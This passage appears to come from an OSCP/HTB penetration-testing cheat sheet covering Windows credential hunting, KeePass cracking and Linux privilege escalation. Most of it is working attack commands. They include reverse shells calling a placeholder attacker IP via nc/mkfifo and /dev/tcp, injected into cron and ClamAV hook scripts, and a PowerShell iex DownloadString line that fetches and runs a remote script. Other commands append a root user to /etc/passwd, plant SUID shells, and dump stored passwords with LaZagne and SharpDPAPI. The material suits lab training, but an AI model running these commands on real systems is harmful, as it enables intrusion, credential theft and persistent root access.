💡 When to use: On HTB/OSCP boxes - hidden flags and credentials are sometimes stored in ADS. Check around interesting files, downloads folder, desktop.
Enumerate ADS
List all ADS in current directory (dir /r shows :stream_name)
dir /r
List ADS on specific file
dir /r "C:\Users\{{USER}}\Desktop"
PowerShell - recursive ADS search
Get-Item -Path "C:\Users" -Stream * -Recurse 2>$null | Where-Object {$_.Stream -ne ":$DATA"}
Streams.exe (Sysinternals - finds ADS recursively)
streams.exe -s C:\Users\{{USER}}\
Read ADS content
Read hidden stream (more < works when type doesn't)
more < filename.txt:hidden_stream
PowerShell read
Get-Content -Path "filename.txt" -Stream "hidden_stream"
Get-Content -Path "C:\Users\{{USER}}\Desktop\note.txt" -Stream "secret"
Using type (cmd.exe) - may fail for some streams
type filename.txt:hidden_stream
📝 Notes
7.30
KeePass - Crack Master Password
Extract hash from .kdbx file and crack offline
CREDS
💡 When to use: You find a .kdbx file on the target. KeePass databases require a master password - crack it offline with john or hashcat.
FIND - look for .kdbx files
dir /s /b *.kdbx 2>nul
where /r C:\ *.kdbx 2>nul
# Linux: find / -name "*.kdbx" 2>/dev/null
TRANSFER to Kali
# Evil-WinRM:
download C:\Users\{{USER}}\Documents\database.kdbx /tmp/database.kdbx
# SCP:
scp {{USER}}@{{TARGET}}:C:/Users/{{USER}}/Documents/database.kdbx /tmp/
CRACK on Kali
keepass2john database.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force
OPEN - extract credentials
kpcli --kdb=database.kdbx
# Once opened: ls / cd / show -f -a entry_name
📝 Notes
🔎
Deep Recon - Hidden Files & Credential Mining
When the obvious vectors fail → go back, find hidden files, creds, forgotten paths. Use this checklist.
ENUMCREDS
Reddit Wisdom: "If something was promised and it doesn't work - go back to the machine and hunt harder."
Missed creds, hidden config files, ADS streams, forgotten tools in user dirs, old backups - these win OSCP boxes where all named vectors fail. Run Snaffler + LaZagne + the one-liners below before declaring stuck.
1. Hidden Files & Directories
CMD - hidden files in Users (fast)
dir /a:h /s C:\Users 2>nul
dir /a:h /s C:\ 2>nul | findstr /v "System32\|WinSxS\|SoftwareDistribution"
PowerShell - hidden files recursively
Get-ChildItem -Path C:\Users -Hidden -Recurse -ErrorAction SilentlyContinue | Select FullName,Length,LastWriteTime
Get-ChildItem -Path C:\ -Attributes Hidden+!System -Recurse -ErrorAction SilentlyContinue | Select FullName
Alternate Data Streams (ADS) - data hidden in NTFS streams
dir /r C:\Users\{{USER}}\ 2>nul | findstr ":"
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-Item $_.FullName -Stream * 2>$null } | Where-Object { $_.Stream -ne ':$DATA' } | Select FileName,Stream,Length
# Read ADS content:
Get-Content C:\path\to\file.txt -Stream hiddenstream
more < C:\path\to\file.txt:hiddenstream
Hidden dirs with attrib
attrib /s /d C:\Users\*
attrib /s /d C:\ProgramData\*
2. Credential Hunting in Files
CMD - findstr recursive credential search
findstr /si "password" C:\Users\*.xml C:\Users\*.ini C:\Users\*.txt C:\Users\*.config 2>nul
findstr /si "password passwd pwd secret apikey token" C:\*.xml C:\*.ini C:\*.txt C:\*.cfg C:\*.config C:\*.json 2>nul
findstr /spin "password" C:\Users\*.* 2>nul
PowerShell - comprehensive credential search across file types
Get-ChildItem -Path C:\Users -Recurse -Include *.xml,*.ini,*.txt,*.config,*.cfg,*.json,*.ps1,*.bat -ErrorAction SilentlyContinue |
  Select-String -Pattern "password|passwd|pwd|secret|apikey|api_key|token" -ErrorAction SilentlyContinue |
  Select-Object Path,LineNumber,Line | Format-List
PowerShell v2 compatible (older targets)
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match "xml|ini|txt|config|cfg" } | Select-String "password" | Select Path,LineNumber,Line
Unattended install files - contain base64 passwords
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
type C:\Windows\system32\sysprep.inf 2>nul
type C:\sysprep\sysprep.xml 2>nul
PowerShell - find ALL unattend/sysprep files
Get-ChildItem -Path C:\ -Recurse -Include unattend*.xml,autounattend.xml,sysprep*.xml,sysprep.inf -ErrorAction SilentlyContinue | Select FullName
IIS / Web app configs
type "C:\inetpub\wwwroot\web.config" 2>nul | findstr /i "password connectionString"
findstr /si "password connectionString" C:\inetpub\*.config 2>nul
Get-ChildItem -Path C:\inetpub -Recurse -Include *.config -ErrorAction SilentlyContinue | Select-String "password|connectionString" | Select Path,Line
PowerShell history - commands typed by users, often include passwords
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
# PowerShell:
Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -Include ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content
3. Registry Credential Search
CMD - AutoLogon credentials (most common miss)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "pass user"
PowerShell - AutoLogon one-liner
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select DefaultUsername,DefaultPassword,AltDefaultUserName,AltDefaultPassword
CMD - broad registry password search (slow but thorough)
reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i "DefaultPassword\|Password\|Pass"
reg query HKCU /f password /t REG_SZ /s 2>nul
PuTTY saved sessions (often contain usernames, sometimes passwords)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul
# PowerShell:
Get-ChildItem "HKCU:\Software\SimonTatham\PuTTY\Sessions" -ErrorAction SilentlyContinue | ForEach-Object { Get-ItemProperty $_.PSPath } | Select *
VNC / remote desktop saved credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKCU\Software\TightVNC\Server" /v Password 2>nul
reg query "HKCU\Software\TightVNC\Server" /v PasswordViewOnly 2>nul
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password 2>nul
SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>nul | findstr /i "community"
4. Interesting File Types (Keys, Certs, DBs)
CMD - find key file types everywhere
where /r C:\ *.kdbx 2>nul
where /r C:\ *.pfx 2>nul
where /r C:\ *.p12 2>nul
where /r C:\ *.ppk 2>nul
where /r C:\ id_rsa 2>nul
where /r C:\ *.pem 2>nul
dir /s /b alternative (works when where fails)
dir /s /b C:\*.kdbx C:\*.pfx C:\*.p12 C:\*.ppk C:\*.pem 2>nul
dir /s /b C:\id_rsa C:\*.key C:\*.cer 2>nul
PowerShell - find all sensitive file types in one command
Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.pfx,*.p12,*.ppk,*.pem,*.key,*.cer,id_rsa,id_dsa,id_ecdsa -ErrorAction SilentlyContinue | Select FullName,Length,LastWriteTime
User application credential files
type "%APPDATA%\FileZilla\sitemanager.xml" 2>nul
type "%APPDATA%\WinSCP.ini" 2>nul
dir /s /b "%APPDATA%\FileZilla\*.xml" 2>nul
dir /s /b "%APPDATA%\WinSCP*" 2>nul
Get-Content "$env:APPDATA\FileZilla\sitemanager.xml" -ErrorAction SilentlyContinue
Get-Content "$env:APPDATA\WinSCP.ini" -ErrorAction SilentlyContinue
SSH keys in user profile
dir /s /b "%USERPROFILE%\.ssh\" 2>nul
type "%USERPROFILE%\.ssh\id_rsa" 2>nul
Get-ChildItem "$env:USERPROFILE\.ssh" -ErrorAction SilentlyContinue | Get-Content
Backup and old files - often contain old passwords
dir /s /b C:\*.bak C:\*.backup C:\*.old C:\*.orig 2>nul | findstr /iv "System32\|WinSxS"
Get-ChildItem -Path C:\Users -Recurse -Include *.bak,*.backup,*.old,*.orig -ErrorAction SilentlyContinue | Select FullName
5. Automated Credential Mining Tools
Snaffler
File Share & Disk Sniffer
Finds interesting files on SMB shares and local disk - passwords, config files, keys, scripts. Domain-aware but also works standalone.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Snaffler.exe -Outfile {{WPATH}}\Snaffler.exe
# Local disk scan:
{{WPATH}}\Snaffler.exe -s -o {{WPATH}}\snaffler.log -v data
# Domain share scan (if domain-joined):
{{WPATH}}\Snaffler.exe -s -d DOMAIN -o {{WPATH}}\snaffler.log
# Scan specific target share:
{{WPATH}}\Snaffler.exe -s -t \\TARGET -o {{WPATH}}\snaffler.log
# Read output (filter by severity):
type {{WPATH}}\snaffler.log | findstr "\[Red\]\|\[Black\]"
LaZagne
Credential Extractor • Multi-source
Extracts passwords from browsers, git, databases, WiFi, mail clients, vaults, Windows Credential Manager, and more.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/laZagne.exe -Outfile {{WPATH}}\laZagne.exe
{{WPATH}}\laZagne.exe all
{{WPATH}}\laZagne.exe all -oJ {{WPATH}}\lazagne_out.json   # JSON output
{{WPATH}}\laZagne.exe windows            # Windows-specific (Credential Manager, LSA)
{{WPATH}}\laZagne.exe browsers           # Chrome, Firefox, Edge, IE
{{WPATH}}\laZagne.exe git                # git credentials
{{WPATH}}\laZagne.exe databases          # MySQL, PostgreSQL, SQLite
SessionGopher
Saved Sessions • PuTTY/WinSCP/RDP
Extracts saved sessions and passwords from PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP. Dot-source and call.
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/SessionGopher.ps1 -Outfile {{WPATH}}\SessionGopher.ps1
. {{WPATH}}\SessionGopher.ps1; Invoke-SessionGopher -Thorough
# Domain-wide (if AD access):
. {{WPATH}}\SessionGopher.ps1; Invoke-SessionGopher -AllDomain
# Target specific user:
. {{WPATH}}\SessionGopher.ps1; Invoke-SessionGopher -Target {{USER}}
CLM fallback: Use LaZagne.exe or manual reg query for PuTTY sessions.
SharpDPAPI
DPAPI Decryption • Vault Creds
Decrypts DPAPI-protected credentials - Windows Credential Manager, browser passwords, DPAPI blobs.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SharpDPAPI.exe -Outfile {{WPATH}}\SharpDPAPI.exe
{{WPATH}}\SharpDPAPI.exe credentials    # Windows Credential Manager
{{WPATH}}\SharpDPAPI.exe vaults         # Windows Vaults
{{WPATH}}\SharpDPAPI.exe triage         # Comprehensive triage
{{WPATH}}\SharpDPAPI.exe masterkeys     # DPAPI master keys
WinPwn (PowerShell)
Swiss Army Enum
Comprehensive PS enumeration framework with many built-in modules for creds, network, services.
iex (New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/WinPwn.ps1')
# Or dot-source:
. {{WPATH}}\WinPwn.ps1; Invoke-WinPwn
6. Environment Variables & Process Leaks
CMD - check environment for leaked secrets
set | findstr /i "pass secret key token api"
set | findstr /i "pass"
PowerShell - environment variables
Get-ChildItem Env: | Where-Object { $_.Name -match "pass|secret|key|token|api|pwd" -or $_.Value -match "pass|secret" }
Running process command lines - passwords typed as arguments
Get-CimInstance Win32_Process | Select Name,CommandLine | Where-Object { $_.CommandLine -match "pass|secret|key|token" }
# CMD alternative using wmic:
wmic process get Name,CommandLine 2>nul | findstr /i "pass secret"
Scheduled task actions - may contain hardcoded creds
Get-ScheduledTask | ForEach-Object { $_.Actions } | Where-Object { $_.Arguments -match "pass|secret" }
# CMD:
schtasks /query /fo LIST /v 2>nul | findstr /i "pass\|Run As\|Task To Run"
7. Network Shares & Accessible Paths
List mapped and accessible shares
net use                                # mapped drives
net view \\{{TARGET}} /all 2>nul       # list shares on host
net view 2>nul                         # all hosts in domain
Get-SmbShare -ErrorAction SilentlyContinue   # local SMB shares (PS)
Get-SmbMapping -ErrorAction SilentlyContinue # mapped drives (PS)
Access shares and look for interesting files
dir \\{{TARGET}}\SHARENAME 2>nul
Get-ChildItem \\{{TARGET}}\SHARENAME -Recurse -ErrorAction SilentlyContinue | Select FullName
✅ Deep Recon Checklist - Run ALL of these before declaring "stuck"
  • {{WPATH}}\Snaffler.exe -s -o snaffler.log -v data
  • {{WPATH}}\laZagne.exe all
  • type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
  • findstr /si "password" C:\Users\*.xml C:\Users\*.ini C:\Users\*.txt C:\Users\*.config
  • dir /a:h /s C:\Users 2>nul (hidden files)
  • dir /s /b C:\*.kdbx C:\*.pfx C:\*.ppk 2>nul
  • dir /r C:\Users\{{USER}}\ (ADS streams)
  • type "%APPDATA%\FileZilla\sitemanager.xml"
  • reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  • Get-ScheduledTask | ForEach {$_.Actions} | Select * (task args)
  • wmic process get Name,CommandLine | findstr /i "pass"
📝 Notes
Think Simpler First (Linux)
Check the basics before running exploit tools
EXAM TIPS

💡 Linux PrivEsc Mindset

  • sudo -l first: Always check what you can run as sudo - it might be bash, vi, find, or python with NOPASSWD
  • SUID binaries: Find them, check GTFOBins, one command → root
  • Cron jobs: pspy64 + check /etc/crontab - writable scripts run as root = instant win
  • /etc/passwd writable: Add new root user with openssl passwd hash - 10 seconds to root
  • /etc/shadow readable: Extract hash, crack with hashcat/john → su root
  • bash history: cat ~/.bash_history - passwords get typed in commands
  • Web config files: wp-config.php, config.php, .env - contain DB passwords often reused as system passwords
  • Default creds: root:root, admin:admin, service:service - try BEFORE anything else
  • Capabilities: /usr/sbin/getcap -r / 2>/dev/null - cap_setuid = instant root
  • Kernel version: uname -r - check against exploit table below before spending time elsewhere
pspy64 = Gold - Run This First After Any Linux Shell
./pspy64 -pf -i 1000   # -pf = show file events, -i 1000 = poll every 1 second
Run for 2+ minutes minimum - cron jobs run at intervals, you need to wait long enough to catch them all. LinPEAS often misses short-lived processes. pspy catches everything without root.
No output? Wait longer. Low-frequency crons (every 5 or 10 min) require patience.
8.1
Enumeration
Run linpeas.sh first, then verify manually with these commands
ENUM
User & System
Current user, groups, capabilities
id
whoami; groups; cat /etc/group | grep $(whoami)
OS and kernel version - check for kernel exploits
uname -a
cat /etc/os-release
cat /etc/issue
lsb_release -a 2>/dev/null
cat /proc/version
Hostname
hostname
cat /etc/hostname; hostnamectl
Processes & Services
All running processes - look for root-owned interesting ones
ps aux
ps -ef
ps auxf - tree view
pstree -p
Network
Network interfaces and IPs
ip a
ifconfig
Open ports and connections - 127.0.0.1 listeners are interesting
ss -anp
netstat -anlp
ss -tlnp - TCP only
netstat -tulpn
Firewall rules
cat /etc/iptables/rules.v4 2>/dev/null
iptables -L -n 2>/dev/null
ufw status 2>/dev/null
Files & Permissions
SUID binaries - CRITICAL, check against GTFOBins
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null - SUID + SGID
Writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
Sensitive files containing passwords
find / -name '*password*' -o -name '*passwd*' -o -name '*cred*' 2>/dev/null | head -20
locate password 2>/dev/null | head -20
Cron Jobs
All cron jobs - check permissions on every script listed
crontab -l 2>/dev/null
ls -lah /etc/cron*
cat /etc/crontab
ls -al /etc/cron* && cat /etc/cron.d/* 2>/dev/null
cat /var/spool/cron/crontabs/root 2>/dev/null
systemctl list-timers --all 2>/dev/null
Grep cron from logs - confirms what's actually running
grep "CRON" /var/log/syslog 2>/dev/null | tail -20
cat /var/log/cron.log 2>/dev/null
Environment & SSH
Environment variables - may contain passwords or paths to hijack
env
printenv
cat /proc/self/environ | tr '\0' '\n'
SSH keys - pivoting or direct root access
find / -name id_rsa -o -name id_ed25519 -o -name authorized_keys 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null; ls -la /root/.ssh/ 2>/dev/null
Mounted drives and fstab
mount; cat /etc/fstab; lsblk
In-memory passwords
strings /dev/mem -n10 2>/dev/null | grep -i PASS
strings /proc/*/environ 2>/dev/null | grep -i pass
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -i pass
📝 Notes
8.2
Service Footprints & Sniffing
Monitor processes and sniff loopback for credentials
ENUM
Watch processes for password arguments
watch -n 1 "ps -aux | grep pass"
while true; do ps -aux | grep -i 'pass\|cred\|secret' | grep -v grep; sleep 2; done
Sniff loopback for plaintext passwords
sudo tcpdump -i lo -A -c 100 | grep "pass"
tcpdump -i any -s0 -w capture.pcap
tcpdump -i lo -A -n | grep -iE 'user|pass|login'
tcpdump -i eth0 -w capture.pcap -n -U -s 0 src not {{KALI_IP}} and dst not {{KALI_IP}}
pspy64 - monitor processes without root (BEST for cron detection - run for 2+ minutes!)
./pspy64 -pf -i 1000   # -pf shows file events too, -i 1000 = 1s polling
# Let it run 2+ MINUTES - crons run at intervals, not instantly. UID=0 lines are root.
./pspy32 - 32-bit target
./pspy64 - basic mode (no file events)
No pspy? - pure bash process poll for root-owned commands (replaces pspy for basic detection)
while true; do
  ps -eo pid,user,cmd --no-headers | awk '$2=="root" && $3!~/^\[/' | grep -v ' ps$'
  sleep 1
done | sort -u
# Let run 2+ minutes. New lines = newly spawned root processes (cron, services, etc.)
Find root-owned service config files that are world-writable (service config hijack)
find /etc/systemd/system /lib/systemd/system /etc/init.d /etc/rc*.d -type f -writable 2>/dev/null
# Writable unit file = edit ExecStart → next service restart runs your payload as root
find /etc/init.d -type f -writable 2>/dev/null - SysV init scripts (older systems)
📝 Notes
8.3
Cron Job Abuse
Root-run scripts that are writable by you = instant root
PRIVESC
Best Workflow 1) Run pspy64 for 2+ minutes → identify cron jobs → check script permissions → if writable → inject reverse shell
1. DETECT - find cron jobs and what they execute
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
Watch live with pspy64 - shows exact commands cron runs (recommended, run 2+ MINUTES)
/tmp/pspy64 -pf -i 1000
# Wait 2+ minutes minimum - crons run at intervals, not on demand. Watch for UID=0 lines.
Full sweep of all cron tables
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
cat /etc/anacrontab 2>/dev/null
cat /var/spool/cron/crontabs/root 2>/dev/null
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
Confirm via logs - shows what actually ran recently
grep "CRON" /var/log/syslog 2>/dev/null | tail -20
2. CONFIRM - verify write access to the script
Check permissions - world-writable (o+w) or your group writable = exploitable
ls -lah /path/to/cron/script.sh
# Looking for: -rwxrwxrwx (world-writable) OR your group in the write column
Also check if the script sources/calls other writable files
cat /path/to/cron/script.sh
# If it calls other scripts/binaries - check those too
BACKUP - save the original script before modifying
Make a backup you can restore from
cp /path/to/script.sh /path/to/script.sh.bak
# Confirm backup:
ls -la /path/to/script.sh.bak
3. EXPLOIT - inject payload and wait for cron to trigger
Option A: Reverse shell (KALI: nc -lvnp {{RPORT}})
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{KALI_IP}} {{RPORT}} >/tmp/f' >> /path/to/script.sh
Option B: SUID bash copy - escalate without waiting for shell callback
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/script.sh
# After cron runs, escalate:
/tmp/rootbash -p
Option C: Add root user to /etc/passwd (persistent)
echo 'echo "newroot:$(openssl passwd -6 Password123):0:0:root:/root:/bin/bash" >> /etc/passwd' >> /path/to/script.sh
# After cron runs:
su newroot  # password: Password123
Check when the cron runs - how long to wait?
cat /etc/crontab | grep -v "^#"
# * * * * * = every minute | */5 = every 5 min | 0 * = hourly | 0 0 = daily
4. VERIFY - confirm escalation after cron fires
id
whoami
# Or check if SUID bash appeared:
ls -la /tmp/rootbash
RESTORE - remove payload lines and restore original script
Restore from backup (cleanest approach)
cp /path/to/script.sh.bak /path/to/script.sh
rm /path/to/script.sh.bak
Cleanup artifacts from each payload option
# Option A cleanup:
rm -f /tmp/f
# Option B cleanup:
rm -f /tmp/rootbash
# Option C cleanup:
sed -i '/newroot/d' /etc/passwd
Quick-Find World-Writable Cron Scripts
One-liner to find any writable cron script (fastest check)
find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null
# Any result = instant privesc - inject reverse shell or SUID bash
Check ALL user crontab directories, not just root
ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Look for: crontab files owned by root running with root privileges
Second-order: extract script paths FROM cron files and check those for write access
grep -rhE '^\s*[^#]' /etc/cron* /var/spool/cron 2>/dev/null \
  | awk '{for(i=6;i<=NF;i++) if($i ~ /^\//) print $i}' \
  | sort -u \
  | xargs -I{} sh -c 'test -w "{}" && ls -la "{}"' 2>/dev/null
# Any result = the script called by a cron job is writable → inject payload there
Check if cron runs scripts from a directory you own or can write to (PATH hijack)
grep -r 'PATH=' /etc/crontab /etc/cron.d/* 2>/dev/null
# If cron PATH includes /tmp or a user-writable dir before /usr/bin → PATH hijack possible
Alternative cron log locations (if syslog missing)
grep "CRON\|cron" /var/log/cron.log 2>/dev/null | tail -20
grep "CRON\|cron" /var/log/auth.log 2>/dev/null | tail -20
ClamAV VirusEvent Hook (Exfiltrated-style)
⚠️ Seen on: Exfiltrated (PG Practice) ClamAV VirusEvent script runs as root when malware is detected. If the script path is world-writable, or if clamdscan is invoked with a writable quarantine hook - inject shell.
Detect - check ClamAV config for VirusEvent
cat /etc/clamav/clamd.conf 2>/dev/null | grep -i "VirusEvent\|OnAccess\|AlertExceedMaxSize"
# Look for: VirusEvent /path/to/script.sh
# If that script is writable → instant root when ClamAV triggers
Check if VirusEvent script is writable
ls -la /path/to/virsevent/script.sh
# If writable:
cp /path/to/script.sh /path/to/script.sh.bak
Inject reverse shell into VirusEvent script
echo 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' >> /path/to/script.sh
# TRIGGER: put an EICAR test file to force ClamAV to detect and run the hook:
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/eicar.txt
RESTORE - remove injected payload
cp /path/to/script.sh.bak /path/to/script.sh
rm /tmp/eicar.txt
📝 Notes
8.4
Password Files (/etc/passwd & /etc/shadow)
Writable /etc/passwd = add root user. Readable /etc/shadow = crack hashes
PRIVESCCREDS
1. DETECT - check write access to passwd / readability of shadow
ls -la /etc/passwd /etc/shadow
# /etc/passwd -rw-rw-rw- or -rw-r--rw- → writable → can add root user
# /etc/shadow readable by anyone → copy hashes offline to crack
2. CONFIRM - quick programmatic check
test -w /etc/passwd && echo 'WRITABLE - can add root user!' || echo 'not writable'
cat /etc/shadow 2>/dev/null | head -3 && echo 'SHADOW READABLE - copy hashes!'
BACKUP - always copy /etc/passwd before modifying
Save the original before appending your root user
cp /etc/passwd /tmp/passwd.bak
# Confirm it's there:
ls -la /tmp/passwd.bak
3a. EXPLOIT - /etc/passwd writable → add root user
One-liner: auto-generates hash and appends root user
# CORRECT: -1 = MD5 (works on all targets), -6 = SHA-512 (modern preferred)
echo "newroot:$(openssl passwd -1 Password123):0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot  # password: Password123
# SHA-512 alternative (more modern):
echo "newroot:$(openssl passwd -6 Password123):0:0:root:/root:/bin/bash" >> /etc/passwd
⚠️ CRITICAL: Always use -1 or -6 with openssl passwd! Without a flag, openssl generates a legacy DES hash (13 chars). PAM on modern Debian/Ubuntu/CentOS silently rejects DES - su newroot will always say "Authentication failure" even with the correct password.
Two-step if openssl isn't available
# Generate SHA-512 hash on Kali (python3 crypt removed in 3.13 - use openssl):
openssl passwd -6 Password123
# Or with Python on older systems:
python3 -c "import crypt; print(crypt.crypt('Password123', crypt.mksalt(crypt.METHOD_SHA512)))" 2>/dev/null \
  || openssl passwd -6 Password123
# Append on target:
echo 'newroot:PASTE_HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
3b. EXPLOIT - /etc/shadow readable → copy hashes and crack offline
Copy shadow to Kali, then crack
# On target:
cat /etc/shadow
# Copy root's hash line to Kali, then:
Crack with John on Kali (auto-detects SHA-512 etc.)
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt
john --show /tmp/hash.txt
Crack with Hashcat on Kali
hashcat -m 1800 /tmp/hash.txt /usr/share/wordlists/rockyou.txt  # SHA-512 ($6$)
hashcat -m 500 /tmp/hash.txt /usr/share/wordlists/rockyou.txt   # MD5 ($1$)
hashcat -m 7400 /tmp/hash.txt /usr/share/wordlists/rockyou.txt  # SHA-256 ($5$)
4. VERIFY - confirm root access
id; whoami
cat /root/root.txt 2>/dev/null
RESTORE - remove added user and restore original /etc/passwd
Option A: restore from backup (cleanest)
cp /tmp/passwd.bak /etc/passwd
rm /tmp/passwd.bak
Option B: remove just the added line
sed -i '/^newroot:/d' /etc/passwd
# Verify:
grep newroot /etc/passwd  # should return nothing
Hash types: $1$ = MD5-crypt | $6$ = SHA-512 (hashcat -m 1800) | $y$ = yescrypt | $5$ = SHA-256 (hashcat -m 7400)
📝 Notes
8.5
SUID Binaries & Capabilities
SUID = runs as file owner (usually root). Check GTFOBins lookup below.
PRIVESCENUM
1. DETECT SUID
find / -perm -4000 -type f 2>/dev/null
ls -l $(find / -perm -4000 -type f 2>/dev/null)
Spot non-standard SUID binaries - compare against known-good list
find / -perm -4000 -type f 2>/dev/null | grep -Ev '^(/usr/bin/sudo|/usr/bin/passwd|/usr/bin/su|/usr/bin/newgrp|/usr/bin/chsh|/usr/bin/chfn|/usr/bin/gpasswd|/bin/su|/bin/mount|/bin/umount|/bin/ping|/usr/sbin/pppd)$'
# Anything not in this list is non-standard and worth investigating on GTFOBins
CRITICAL: check if any SUID binary is also writable (directly overwritable)
find / -perm -4000 -type f -writable 2>/dev/null
# Any result = overwrite binary content with your own shell → instant root
1b. DETECT Capabilities
/usr/sbin/getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
cat /proc/*/status 2>/dev/null | grep -A5 'CapEff' | grep -v '^--$' - raw capability check without getcap
2. CONFIRM - verify the binary runs as root and is exploitable
# Confirm effective UID when SUID binary runs:
ls -la /path/to/suid-binary
# Must show: -rwsr-xr-x root root (the 's' in owner execute = SUID active)
# Confirm it's owned by root (not just SUID-set by non-root):
stat /path/to/suid-binary | grep -E 'Uid|Access'
strings /path/to/suid-binary
ltrace /path/to/suid-binary 2>&1
3. EXPLOIT - GTFOBins for known binaries, custom compile for unknown
→ Check GTFOBins first for known SUID abuses (bash, find, vim, nmap…)
# SUID find:
find / -name target -exec /bin/bash -p \;
# SUID bash:
/bin/bash -p
# SUID vim: :!/bin/bash (in vim command mode)
# SUID nmap (old): nmap --interactive → !sh
Custom SUID binary - if PATH hijack works (see section above)
echo '/bin/bash -p' > /tmp/<called_cmd>
chmod +x /tmp/<called_cmd>
export PATH=/tmp:$PATH
/path/to/suid-binary
Custom SUID binary - if it has a buffer overflow or uses system() - compile SUID shell on target
cat > /tmp/suid_shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc /tmp/suid_shell.c -o /tmp/suid_shell
# Then: get root to set SUID on it (via cron/service/wildcard exploit)
chmod u+s /tmp/suid_shell
/tmp/suid_shell
Capabilities - cap_setuid example (python3 with cap_setuid+ep)
python3 -c 'import os;os.setuid(0);os.execl("/bin/bash","bash","-p")'
4. VERIFY
id; whoami
RESTORE - cleanup any compiled binaries
rm -f /tmp/suid_shell /tmp/suid_shell.c /tmp/<called_cmd>
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Capabilities Reference Table
CapabilityImpactExploit
CAP_SETUIDCRITICALSet UID to 0: python3 -c 'import os;os.setuid(0);os.execl("/bin/bash","bash","-p")'
CAP_DAC_OVERRIDECRITICALBypass ALL file permission checks - read/write anything
CAP_DAC_READ_SEARCHHIGHRead any file - read /etc/shadow directly
CAP_CHOWNHIGHChange file ownership - chown root /etc/shadow then read
CAP_FOWNERHIGHBypass ownership checks - chmod any file
CAP_NET_RAWMEDIUMPacket sniffing, raw sockets - sniff creds on loopback
CAP_NET_BIND_SERVICELOWBind to ports <1024 - impersonate services
CAP_KILLMEDIUMKill any process - kill security monitoring
CAP_SYS_ADMINCRITICALMount filesystems, container escape - very broad
CAP_AUDIT_WRITETHREATWrite fake audit log entries - manipulate/inject audit records
CAP_AUDIT_CONTROLTHREATEnable/disable kernel auditing - disable to evade detection
CAP_SETGIDHIGHChange process GID - affect group-based permissions and access controls
CAP_SETPCAPHIGHTransfer/remove capabilities from processes - escalate or evade detection
CAP_IPC_LOCKMEDIUMLock memory into RAM - prevent sensitive data from being swapped out
CAP_MAC_ADMINHIGHAlter Mandatory Access Control policies - weaken or bypass MAC security
CAP_BLOCK_SUSPENDLOWPrevent system suspend/hibernate - keep system awake during long attacks
📝 Notes
8.6
Sudo Abuse
sudo -l is the #1 quick win check. NOPASSWD entries are jackpot.
PRIVESC
Always Run First sudo -l - Check for NOPASSWD, wildcards (*), and any entry with an interesting binary. Then check the binary against GTFOBins lookup below.
1. DETECT - list all sudo rules for your user
sudo -l
Also check sudoers.d - sudo -l may omit entries if you don't know your password
cat /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
